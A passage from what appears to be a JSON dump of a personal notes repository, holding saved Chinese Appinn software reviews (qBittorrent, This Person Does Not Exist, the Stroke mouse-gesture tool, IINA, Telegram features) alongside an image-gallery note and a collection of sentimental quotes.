[微博上问了](https://weibo.com/1684197391/Iker2aeua) 一圈,大家都在推荐开源、免费的 **qBittorrent** ,并且 qBittorrent 在官网就摆明写着:\n\n> qBittorrent 项目旨在提供一个替代 µTorrent 的开源软件 \n\n似乎,无懈可击。开发者 @volunteers 利用业余实现开发了 qBittorrent,有中文界面、无广告、集成搜索引擎、可指定分类搜索、支持 RSS、支持磁力链接、DHT 网络、支持私有种子等等,qBittorrent 支持 Windows、macOS、Linux、FreeBSD 等主流操作系统,界面长这个样子:\n\n![](assets/image_5.jpeg)\n\n虽然不是很美观,但十分清爽,正常用用是没问题问题了。上图是青小蛙第一次安装后的情形,可以看到已经连接了 88 个 DHT 节点,而在 [添加最佳 trackers 服务器列表](https://www.appinn.com/ara2-add-trackers-list-for-speed-up/) 之后,节点达到了 128 个。\n\n![](assets/image_1.jpeg)\n\nqBittorrent 还有一些其他特效,比如 Web 管理界面、UPnP 支持、PEX 对等交换、LSD 本地对等发现、IPv6 支持,以及支持 [第三方插件](https://github.com/qbittorrent/search-plugins/wiki/Unofficial-search-plugins) ,有良好的扩展性。\n\nqBittorrent 官网 [在这里](https://www.qbittorrent.org/?ref=appinn) ,感兴趣的同学可以前往了解。\n\n最后问题来了,还有其他的替代品吗?\n\n- - - -\n\n## 相关阅读\n\n* [uTorrent Falcon – 远程 BT 下载](https://www.appinn.com/utorrent-falcon/)\n* [uTorrent Web 终于来了,视频文件边播边下❲Windows❳](https://www.appinn.com/utorrent-web/)\n* [uTorrent – 小巧BT下载软件](https://www.appinn.com/utorrent/)\n* [µTorrent App Studio- 下载软件的 App Store](https://www.appinn.com/%C2%B5torrent-app-studio/)\n* [戏说KMPlayer 播放器](https://www.appinn.com/kmplayer/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/utorrent-alternative/#comments) 收藏0\n\n[https://www.appinn.com/utorrent-alternative/](https://www.appinn.com/utorrent-alternative/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.5658363103866577, "alphanum_fraction": 0.635587215423584, "avg_line_length": 12.640776634216309, "blob_id": "b51d48c07735460072c99841df78698d6815e7c6", "content_id": "072c51eae805ef8eea7a69a932fb1849666beabe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1487, "license_type": "no_license", "max_line_length": 41, "num_lines": 103, "path": "/图片/粘人网/夏日甜心.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 夏日甜心\n其实,幸福就是那么简单。只是看你愿不愿意去感受和发现并之享受而已。\n\n![](assets/image_33.jpeg)\n\n![](assets/image_37.jpeg)\n\n![](assets/image_19.jpeg)\n\n![](assets/image_22.jpeg)\n\n![](assets/image_2.jpeg)\n\n![](assets/image_15.jpeg)\n\n![](assets/image_20.jpeg)\n\n![](assets/image_48.jpeg)\n\n![](assets/image_7.jpeg)\n\n![](assets/image_16.jpeg)\n\n![](assets/image_29.jpeg)\n\n![](assets/image_30.jpeg)\n\n![](assets/image_47.jpeg)\n\n![](assets/image_39.jpeg)\n\n![](assets/image_49.jpeg)\n\n![](assets/image_5.jpeg)\n\n![](assets/image_41.jpeg)\n\n![](assets/image_21.jpeg)\n\n![](assets/image_23.jpeg)\n\n![](assets/image_4.jpeg)\n\n![](assets/image_26.jpeg)\n\n![](assets/image_38.jpeg)\n\n![](assets/image_34.jpeg)\n\n![](assets/image_25.jpeg)\n\n![](assets/image_28.jpeg)\n\n![](assets/image_13.jpeg)\n\n![](assets/image_14.jpeg)\n\n![](assets/image_12.jpeg)\n\n![](assets/image_31.jpeg)\n\n![](assets/image_32.jpeg)\n\n![](assets/image_18.jpeg)\n\n![](assets/image_6.jpeg)\n\n![](assets/image_42.jpeg)\n\n![](assets/image_36.jpeg)\n\n![](assets/image_43.jpeg)\n\n![](assets/image_45.jpeg)\n\n![](assets/image_3.jpeg)\n\n![](assets/image_27.jpeg)\n\n![](assets/image_24.jpeg)\n\n![](assets/image_44.jpeg)\n\n![](assets/image_8.jpeg)\n\n![](assets/image_35.jpeg)\n\n![](assets/image_46.jpeg)\n\n![](assets/image_1.jpeg)\n\n![](assets/image_17.jpeg)\n\n![](assets/image_10.jpeg)\n\n![](assets/image_11.jpeg)\n\n![](assets/image_40.jpeg)\n\n![](assets/image_9.jpeg)\nhttp://www.nr99.com/thread-91724-1-1.html\n\n#图片/粘人\n" }, { "alpha_fraction": 0.7337243556976318, "alphanum_fraction": 0.751906156539917, "avg_line_length": 43.894737243652344, "blob_id": "a11f57bb30837a3c8180c8b7a739ff207bf010cf", "content_id": "39240e45e3dd33c8cca94258069e8b28f2182b47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2426, "license_type": "no_license", "max_line_length": 644, "num_lines": 38, "path": "/博客/小众软件/这个人不存在 – AI 随机生成「虚拟人脸」照片.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 这个人不存在 – AI 随机生成「虚拟人脸」照片\n[This Person Does Not Exist](https://www.appinn.com/this-person-does-not-exist/) 这个网站非常有意思,打开它就会生成一张人脸照片,但这个人是虚拟人物并不存在,由计算器随机生成,每次刷新页面都能获得一个新的面孔。@Appinn\n\n![](assets/image_1.jpeg)\n\n这是一个完全没有多余内容的网站,打开就是一张人脸照片,合适就保存下来,不合适继续刷新网页。\n\n青小蛙没事刷了几分钟,基本上效果都还不错,但个别照片会有瑕疵,比如脸上有一些奇怪的东西。不过并没有(很少)亚洲人面孔,\n\n来看视频:\n\n由于这些人脸都是虚拟的,所以并不会侵犯到他人的肖像权,用途不知道能用在哪里。\n\nThis Person Does Not Exist 网站 [在这里](https://thispersondoesnotexist.com/) 。\n\n- - - -\n\n## 相关阅读\n\n[Apple 教你 16 种 iPhone 7 拍照技巧,人人都是摄影师](https://www.appinn.com/photography-how-to/)\n\n[Does not Commute – 小镇不堵车❲iOS/Android❳](https://www.appinn.com/does-not-commute/)\n\n[Do Not Disturb – 全自动『定时』请勿打扰❲Android❳](https://www.appinn.com/do-not-disturb/)\n\n[LostPhotos – 搜索邮箱内的所有图片](https://www.appinn.com/lostphotos/)\n\n[有了可以室内导航的「微软寻路」,感觉再也不会迷路了](https://www.appinn.com/ms-path-guide/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds) | [反馈](http://appinn.wufoo.com/forms/eccae-aeeae/) | [代理](http://hellohostnet.com/proxy.html) (优惠码 Appinn)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/this-person-does-not-exist/#comments) 收藏0\n\nvia John Youi's favorite articles on Inoreader [http://bit.ly/2SUiXrp](http://bit.ly/2SUiXrp)\n\n#博客/小众软件" }, { "alpha_fraction": 0.6615134477615356, "alphanum_fraction": 0.7455925941467285, "avg_line_length": 27.36153793334961, "blob_id": "77ff9150c04238def8a13f589f544456d5485be4", "content_id": "76c8f2ce17753709fa2d9831b44e4083d8362925", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5706, "license_type": "no_license", "max_line_length": 537, "num_lines": 130, "path": "/博客/小众软件/Stroke – 开源鼠标手势软件[Windows].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Stroke – 开源鼠标手势软件[Windows]\n[小众软件 Stroke – 开源鼠标手势软件❲Windows❳](https://www.appinn.com/stroke-for-windows/) \n\n**Stroke** 是一款开源的鼠标手势软件,小巧(主程序 74KB)、速度快,可通过插件扩展功能。@ [Appinn](https://www.appinn.com/stroke-for-windows/)\n\n![](assets/image_1.jpeg)\n\n来自 [发现频道](https://meta.appinn.net/t/topic/18180) , [Screenote – 全快捷键截图、贴图工具❲Windows❳](https://www.appinn.com/screenote-for-windows/) 的开发者 @ [Poerin](https://meta.appinn.net/u/Poerin) 同学的又一款作品。\n\nStroke 在 [GitHub](https://github.com/poerin/Stroke) 开源,支持 C# 语言编写脚本,可使用 .NET Framework 及自己编写 dll。初次使用建议先 [阅读操作手册](https://docs.shuax.com/MouseInc/#/) 。\n\n## 主要功能如下:\n\n* 鼠标手势:按住右键滑动即可开始使用。\n* 配置细微,可自由修改手势宽度,颜色,识别灵敏度等。\n* 支持黑名单,支持特定软件自定义手势,支持复合动作。\n\n### 例子\n\n选中一个网址,画 P 直接打开 ping 命令。\n选中文本以后,画 S 直接打开浏览器搜索。\n\n### 高质量截图\n\n这个截图可以保留窗口阴影,半透明(包括 win7 和 win10 的毛玻璃特效)。\n可以保留鼠标指针形状,可以加入透明网格特效。按下 Ctrl+PrtSc 可以快速体验。\n\n### 贴图\n\n可以把截图半透明置顶显示在屏幕上,方便参考内容或对比。\n鼠标手势画一个四边形(下右上左)即可体验。\n\n### OCR文字识别\n\n鼠标手势画一个四边形(下左上右)即可体验。\n\n### 按键回显\n\n可在屏幕上显示您所有的键盘按键,方便您在录制视频包含按键信息。绝对不要在输入密码的时候打开这个功能!\n\n### 边缘滚动\n\n在屏幕四边滚动滚轮,可以触发特殊操作。\n目前有音量调节和程序切换功能。\n\n### 复制增强\n\n选中文字快速按下两次 Ctrl+C 后,会弹出一个快捷操作菜单,可以进行搜索等。\n\n### 快速音量调节\n\n按住 Alt 时,滚动滚轮可以快速调节音量大小。\n\n### 滚轮穿透\n\n可使得滚轮可以直接滚动未激活窗口。\nWin10 自带此功能,推荐老系统 Win7 开启。\n\n### 自然滚动\n\n把内容滚动方向改变为随屏幕方向。\n保持和 macOS 一致(滚轮反向)。\n\n- - - -\n\n需要管理员权限运行 Stroke,之后就和你想象中的鼠标手势工具一样使用,当然设置起来要…门槛高一些。\n\n![](assets/image_5.jpeg)\n运行 Stroke.Configure.exe 配置\n@Poerin 同学还提供了一些截图:\n\n![](assets/image_3.gif)\n\n![](assets/image_4.gif)\n\n关于 Stroke 的速度,Poerin 专门做了测试:\n\n- - - -\n\n那么 Stroke 反应有多灵敏呢?从鼠标弹起,开始判别是否在任何动作包中触发了相应的动作,到执行手势完成,我们来看看花了多少时间(13 年买的 i5 笔记本)。\n我们在以下两个位置插入记录时间的代码:\n\n![](assets/image_6.png)\n\n测试 5 轮结果如下, [Ticks](https://docs.microsoft.com/en-us/dotnet/api/system.datetime.ticks?view=netframework-4.7.2) 是以 100 纳秒(1 ns = 10^(-9) s)为单位计数的:\n\nStart:637372381902555779\nEnd:637372381902595758\nStart:637372381947865912\nEnd:637372381947905872\nStart:637372381966984207\nEnd:637372381967024144\nStart:637372381983986626\nEnd:637372381984046605\nStart:637372382038631758\nEnd:637372382038661736\n\n即 分别得到 39979、39960、39937、59979、29978,即大概是 4毫秒、4毫秒、4毫秒、6毫秒、3毫秒。(1秒 = 1000 毫秒)。\n\n取决于你的使用滚轮的手速和火狐的反应,你可以:\n\n![](assets/image_2.gif)\n\n而关于定制,@Poerin 提供了一个 [百度翻译的脚本](https://meta.appinn.net/t/topic/18180/9?u=qingwa) 。\n\n总之这是一款定制性很高,但门槛也略高的鼠标手势工具,帖子里的信息量很大, 不少同学还推荐里其他手势软件, [欢迎围观](https://meta.appinn.net/t/topic/18180) 。\n\n官网: [https://shuax.com/project/mouseinc/?ref=appinn](https://shuax.com/project/mouseinc/?ref=appinn)\n\n- - - -\n\n## 相关阅读\n\n* [Tabler Icons – 558 个可完全自定义的免费 SVG 图标](https://www.appinn.com/tabler-icons-online/)\n* [为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n* [微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n* [8 款漂亮的 Windows 7 主题桌面](https://www.appinn.com/8-windows-7-themes/)\n* [Ultimate Windows Tweaker 3.0 for Windows 8 系统微调工具](https://www.appinn.com/ultimate-windows-tweaker-3-0-for-windows-8/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/stroke-for-windows/#comments) 收藏0\n\n[https://www.appinn.com/stroke-for-windows/](https://www.appinn.com/stroke-for-windows/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件\n" }, { "alpha_fraction": 0.6709524989128113, "alphanum_fraction": 0.711361825466156, "avg_line_length": 13.605363845825195, "blob_id": "64b0c5dbc841f260069cc7388f2f1e46c32844b8", "content_id": "51821cef9746fa49fe04500fb10f67f484ad59e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7557, "license_type": "no_license", "max_line_length": 360, "num_lines": 261, "path": "/图片/有意思吧/衷曲无闻,自己说话自己听(2).textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 衷曲无闻,自己说话自己听(2)\n生活在我们面前就像一个巨大的漏斗,年轻的时候,遇到的人多,想说的话也很多,无所顾忌,可能今天会跟这个朋友无所不谈,明天和另外一个人聊得忘记时间,即使是自己编造的故事,两个人也能谈得津津有味。但是,随着年龄的增大,我们会慢慢地发现,能听你说话、和你说话的人越来越少,有时候这些居然都成了自己一种奢侈欲望。这个时候,我们可能只有一个固定的密友,能够在你孤寂的时候听你倾诉,也可能一个也没有。(引自 [《谁是你随时可以说话的人》](http://www.u148.net/article/27865.html) )\n\n \n![](assets/image_1.jpeg)\n \n\n怤怼:与人交往,更多的不是改变对方,而是接受对方,如果光想着改变对方,那不是生活,那是战争。命运不是一个机遇问题,而是一个选择问题,它不是我们要等待的东西,而是我们要实现的东西。把弯路走直的人是聪明的,因为找到了捷径;把直路走弯的人是豁达的,因为可多看几道风景。路不在脚下,路在心里。\n\n \n![](assets/image_16.jpeg)\n \n\n恏怼:所谓悲哀,无非是受的姿势不自在,如何享得开?那些打碎又吞下的牙,靠时间安排,长不出一个龌龊不堪的实在。拿什么来振作我这病体,死去又活来。\n\n \n![](assets/image_7.jpeg)\n \n\n插揷:人生如戏,全靠演技,表演太大力,总会穿帮的。\n\n \n![](assets/image_4.jpeg)\n \n\n儞冧:有些东西以为已经丢定了,它又猝不及防出现在你眼前,比如那串珠子,比如那段故事。\n\n \n![](assets/image_17.jpeg)\n \n\n鶄:青鸟殷勤为探看。\n\n \n![](assets/image_6.jpeg)\n \n\n岊岜:只把这样的奔波当旅行,哪怕沿途没有美丽风景。\n\n当事已过时,如何找回那踌躇满志的自信?\n\n \n![](assets/image_21.jpeg)\n \n\n嬲:明明是三个人的电影,我却始终不能有姓名。\n\n \n![](assets/image_11.jpeg)\n \n\n飂飃:其实我并不复杂,只是华而不实罢了。\n\n \n![](assets/image_30.jpeg)\n \n\n夲本:生活的压力是沉重的十字架还是发了春的枷,无时无刻不在对你抽插。\n\n \n![](assets/image_37.jpeg)\n \n\n窳:怕人寻问,噎泪装欢,烦烦烦。\n\n \n![](assets/image_12.jpeg)\n \n\n男人把幼稚的女人看作单纯,女人把单纯的男人看作幼稚!\n\n \n![](assets/image_33.jpeg)\n \n\n就这样远远看着你,是我最亲密的距离;\n\n就这样静静陪着你,不去讲更多的言语。\n\n \n![](assets/image_32.jpeg)\n \n\n花开再谢,人来又走。假若注定是过客,起初何必要招惹?\n\n \n![](assets/image_25.jpeg)\n \n\n牢系情人结,心锁相思扣。\n\n \n![](assets/image_18.jpeg)\n \n\n我愿踏上怪石嶙峋的山崖,奔赴暗礁满布的海滩!\n\n \n![](assets/image_23.jpeg)\n \n\n独立的人通常自私,理性的人往往绝情。\n\n \n![](assets/image_19.jpeg)\n \n\n太认真,太正经,就不容易被接近。\n\n \n![](assets/image_39.jpeg)\n \n\n看不透,想不开,放不下,忘不了。\n\n \n![](assets/image_14.jpeg)\n \n\n我本将心照明月,明月何时照我还?\n\n \n![](assets/image_38.jpeg)\n \n\n认识太深刻,总会失望的;\n\n人累了休息,心累了淡定。\n\n \n![](assets/image_3.jpeg)\n \n\n明天的事,后天就知道了。\n\n \n![](assets/image_22.jpeg)\n \n\n但凡有不可救药的冷静,必定有病入膏肓的风情。\n\n \n![](assets/image_5.jpeg)\n \n\n有句话说得好:“仁”就是由“人”和“二”组成。\n\n \n![](assets/image_9.jpeg)\n \n\n《遭遇陌生人》:喧嚣和骚动的生活没有任何意义,有时候幻象比药物更管用。\n\n \n![](assets/image_27.jpeg)\n \n\n红玉:无论是人是妖,活一辈子要遇到多少姻缘起伏,真心喜欢的,一个就够了,可是许多时候,你眼下认定的,未必是你会携手一生之人!\n\n \n![](assets/image_10.jpeg)\n \n\n我爱你碍你什么事了?\n\n \n![](assets/image_35.jpeg)\n \n\n听过的最温暖人心的话:“我一直都在。”\n\n \n![](assets/image_31.jpeg)\n \n\n也许放弃才能靠近你。\n\n \n![](assets/image_29.jpeg)\n \n\n古人悔恨海棠无香,鲫鱼多骨,觉得天地间有许多憾事。可是万物都有它们自己的理由,鱼的生理结构对于鱼来说是合适的,它的生活目的不是为了为人类提供食物。我们觉得世界有缺陷,是因为它不尽如人意。\n\n \n![](assets/image_8.jpeg)\n \n\n昔日龌龊不足夸,今朝放荡思无涯。\n\n \n![](assets/image_36.jpeg)\n \n\n睡,目垂即可。失眠,是枕头之上无边的流浪,但愿天,永远不会亮。\n\n \n![](assets/image_28.jpeg)\n \n\n越走越浅的是爱情,越走越急的是岁月,越走越慢的是希望,越走越多的是年龄,越走越少的是时间,越走越远的是梦想,越走越近的是坟墓。\n\n \n![](assets/image_13.jpeg)\n \n\n我们都会依赖都会难以释怀。\n\n \n![](assets/image_20.jpeg)\n \n\n深更半夜的打扰是甜蜜的烦恼。\n\n \n![](assets/image_34.jpeg)\n \n\n多闻阙疑,慎言其余,则寡尤。多见阙殆,慎行其余,则寡悔。\n\n \n![](assets/image_15.jpeg)\n \n\n在没了解之前,要假定一切人都是善的,真心对待身边的每个人。\n\n \n![](assets/image_40.jpeg)\n \n\n真诚爱情的结合是一切结合中最纯洁的。\n\n纯洁的爱情是人生中的一种积极的因素,幸福的源泉。\n\n \n![](assets/image_26.jpeg)\n \n\n又一次走进自己儿时的生活,心中不免有几分淡淡的苦涩;那般的年月,那种饥不饱腹,那种补丁满身的生活困窘造就的只能是儿时的几味平淡。但将一格年轮辗转到曾经的那一段路途,心,依旧有梦且唯一纯真。\n\n \n![](assets/image_24.jpeg)\n \n\n我们经常高谈阔论,以为无所不知,其实这只是一种盲目的自信;我们喜欢重组自己的偏见,以为这是智慧,孰不知它依然是谬误。于是,我们在夸夸其谈中,丢弃了很多值得拥有的东西,赋予人生一个空洞的名字,叫平庸;我们搁置了学习与进取,而是将生命中的错误聚集到一起,孕育出一个恶魔,它叫命运。\n\n \n![](assets/image_2.jpeg)\n \n\n今天上完最后一节课就要走了,昨晚备课准备道具到两点过,没有半点敷衍。今天要讲的内容是概率,只是他们都还小,不管我怎么解释,他们也很难明白,我和他们相识的概率仅有千万分之五而已。(ps:图为本人实习期间上最后一堂课的板书一角。)\n\n延伸阅读: [《衷曲无闻,自己说话自己听(1)》](http://www.u148.net/article/62991.html) \n\n查看详情评论: [衷曲无闻,自己说话自己听(2)](http://www.u148.net/article/64839.html)\n本文原始链接: [http://www.u148.net/article/64839.html](http://www.u148.net/article/64839.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) ┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.7004381418228149, "alphanum_fraction": 0.737130343914032, "avg_line_length": 45.846153259277344, "blob_id": "1d392b41b8429547c3989779f74b85ed7f33eb0b", "content_id": "05f2503772df8a6a875285e86d3cac65c44d1bbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2645, "license_type": "no_license", "max_line_length": 537, "num_lines": 39, "path": "/博客/小众软件/macOS 视频播放器 IINA 1.0.5 小更新.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# macOS 视频播放器 IINA 1.0.5 小更新\n[小众软件 macOS 视频播放器 IINA 1.0.5 小更新](https://www.appinn.com/iina-v105/) \n\nmacOS 下非常好用的开源视频播放器 [IINA](https://www.appinn.com/iina-1-0-0-rc/) 迎来更新,修复了一些小问题,支持更多语言界面,并且在最新的 macOS 系统下不会再出现安装警告的问题了。@Appinn\n\n![](assets/image_1.jpeg)\n\n本次小更新并没有什么新功能,最大的问题是解决了在 macOS 10.15 Catalina 中安装警告的问题。\n\n新增了波兰语、土耳其语,以及更换了新的 [多语言翻译平台](https://translate.iina.io/) ,有想为开源软件贡献力量的同学可以前往帮助翻译更多的语言界面。\n\n也更新到了 FFmpeg 4.2.1,mpv 0.31.0,开源世界是一家\n\n更多更新日志可以在 [发布页面](https://github.com/iina/iina/releases) 看到,对于绝大多数用户,只管更新即可。\n\nIINA 官网在这里: [https://iina.io](https://iina.io/?ref=appinn) ,直接 [下载地址](https://dl.iina.io/IINA.v1.0.5.dmg) ,也可以通过软件内更新。\n\nP.S. 未来,小众软件将继续尝试对一些优秀的常用的,值得记录的软件更新进行追踪、关注。如果你有更新消息,也欢迎 [告诉](https://meta.appinn.net/) 我们。\n\n- - - -\n\n## 相关阅读\n\n* [优秀的 macOS 视频播放器 IINA 发布 1.0.0 RC,支持从浏览器播放](https://www.appinn.com/iina-1-0-0-rc/)\n* [IINA – 最有可能变得完美的 macOS「视频播放器」](https://www.appinn.com/iina-video-player/)\n* [给 Mac 新手推荐的一些好用的软件](https://www.appinn.com/new-mac-need-software/)\n* [扩展「电信iTV」在任意地点、多屏幕观看世界杯](https://www.appinn.com/telecom-itv-use-udpxy/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/iina-v105/#comments) 收藏0\n\n[https://www.appinn.com/iina-v105/](https://www.appinn.com/iina-v105/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7277143001556396, "alphanum_fraction": 0.7611428499221802, "avg_line_length": 26.3515625, "blob_id": "eafb55d8f37eb440ddfe73552d06c086ef997dbd", "content_id": "336fe36c8cb0944d72722e99db10a82d85ee091d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6223, "license_type": "no_license", "max_line_length": 537, "num_lines": 128, "path": "/博客/小众软件/新年第一更,Telegram 的 14+ 个新功能.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 新年第一更,Telegram 的 14+ 个新功能\n [小众软件](https://www.appinn.com/telegram-new-version-202001/)\n [新年第一更,Telegram 的 14+ 个新功能](https://www.appinn.com/telegram-new-version-202001/) \n\n早上醒来,青小蛙就收到了带着圣诞帽的 Telegram 更新消息,开发者们为了打造一款更好的聊天工具,各种小细节,真是费心了。\n\n![](assets/image_14.jpeg)\n\n这次 [更新颇多](https://telegram.org/blog/verifiable-apps-and-more) ,有点长,慢慢来看:\n(以下除非特别著名,均为 iOS 与 Android 共同特性)\n有同学要问,Telegram 又用不了,为什么要知道这些啊?其实这是青小蛙的一个私心,就是…\n可能 Telegram 不是最好的 IM 工具,但 Telegram 的很多功能,是值得我们「知道」的,你可以不用,你可以不喜欢,但你不可以不知道,在这个世界,有这样的东西存在。\n## Theme Editor 2.0\n\n主题编辑器迎来更新,这次可以直接在手机端定制聊天主题了。\n### 入口:\n\n* **iOS** :Settings > Appearance\n* **Android** :Settings > Chat Settings\n\n### 可定制项目:\n\n* 字体大小\n* 背景色\n* 字体颜色\n* 聊天背景图片\n* 自动深色模式\n* 应用图标\n而针对 Android,可以创建一个完整的主题,定制每一个细节,如下图,包括顶部标题栏颜色、标题栏箭头颜色、标题栏文字颜色、进度条颜色等等,每调整一项的时候,都会实时预览:\n\n![](assets/image_20.jpeg)\n\n来看视频:\n\n## 预设主题\n\n对于不想自定义的同学也不要担心,Telegram 预设了几个基础出题,并且除了最基础的 Classic 外,其他主题都可以从20多种自定义配色选取喜欢的配色。同样的,Android 多了几个预设主题。\n\n![](assets/image_3.jpeg)\n\n## 当对方在线时,立即发送消息\n\n这是一个非常非常实用的功能,之前的 Telegram 支持发送定时消息,现在可以预设一条消息在对方上线的时候立即发送了。让对方感受到你浓浓的爱意,每天早上一打开手机,就能收到一条推送,真棒。\n入口:输入完内容后,长按发送键,选择定时消息,就能看到离线发送了。\n## 精准地址位置分享\n\n在分享地理位置时,现在可以更容易的点选不同类型的位置,比如酒店、超市等等,但似乎中国区的地图信息不全,未测试成功。\n## 实时位置分享\n\n分享实时位置,可选分享时间,15分钟、1小时、8小时,之后自动取消实时位置分享。\n## 聊天内容搜索列表\n\n中文聊天内容搜索这个没什么改进,但现在可以在单个对话中搜索,并显示列表了。\n只需要在搜索之后,点击下面左图那个 1 of 8 位置,即可出现搜索列表:\n\n![](assets/image_19.jpeg)\n\n![](assets/image_17.jpeg)\n\n## 播客和电子书支持\n\n目前的 Telegram 支持传输最大 1.5GB 的文件。如果碰到超过 20 分钟的音频文件,Telegram 会帮你记住最后的播放位置,以便中途中断后再次收听。\n\n![](assets/image_18.jpeg)\n\n另外也支持了 2 倍速播放音频。\n## 深色模式切换\n\nAndroid 目前拥有了更快速的切换方式,位于左侧菜单栏右上角:\n\n![](assets/image_23.jpeg)\n\n而 iOS 则随系统主题进行自动切换。\n以及地图也支持深色模式了。\n## 一些动画细节更新\n\n现在进入一个联系人的个人页面后,向下拖动屏幕,就能展开联系人的头像,然后就像浏览相册一样的查看联系人的历史头像,整个效果很赞:\n\n## 选择部分消息\n\n现在可以在很长的对话中,选择部分文字进行复制了。\n\n![](assets/image_13.jpeg)\n\n## 向多个联系人分享内容\n\n从其他 app 分享内容到 Telegram,现在支持长按选择多个联系人了,即可以将一条消息同时分享给多人。\n\n![](assets/image_22.jpeg)\n\n## 存档聊天批量标记已读\n\nTelegram 有一个聊天对话存档功能,可以将那些不常聊的对话放入存档中,现在可以长按存档聊天(Archived Chats)然后标记全部已读了。数字角标受害者的福音。\n\n![](assets/image_21.jpeg)\n\n## iOS:快速切换用户\n\n![](assets/image_15.jpeg)\n\n可以在 iOS 13 的主屏幕上按住 Telegram 图标,就能切换不同账号。目前支持同时登录 3 个账号。\n## 新储存空间\n\nTelegram 有一句名言:您知道的,使用 Telegram 无需将别人曾经发送给您的愚蠢的表情包存储在你的设备上,对吗?\n\n![](assets/image_9.jpeg)\n\n以上仅针对 iOS,可以看到储存空间的使用详情。但青小蛙觉得,只需要设置一个自动删除时间,就不用管这些了,毕竟所有内容都被保存在服务器上,可随时取回。\n- - - -\n\n## 相关阅读\n\n* [2011 小众元旦抽奖结果](https://www.appinn.com/2011-new-years-day-lottery-final/)\n* [EFB 简明安装教程:用 Telegram 收发微信 ❲基于 Docker❳](https://www.appinn.com/efb-tutorial-with-docker/)\n* [EFB V2 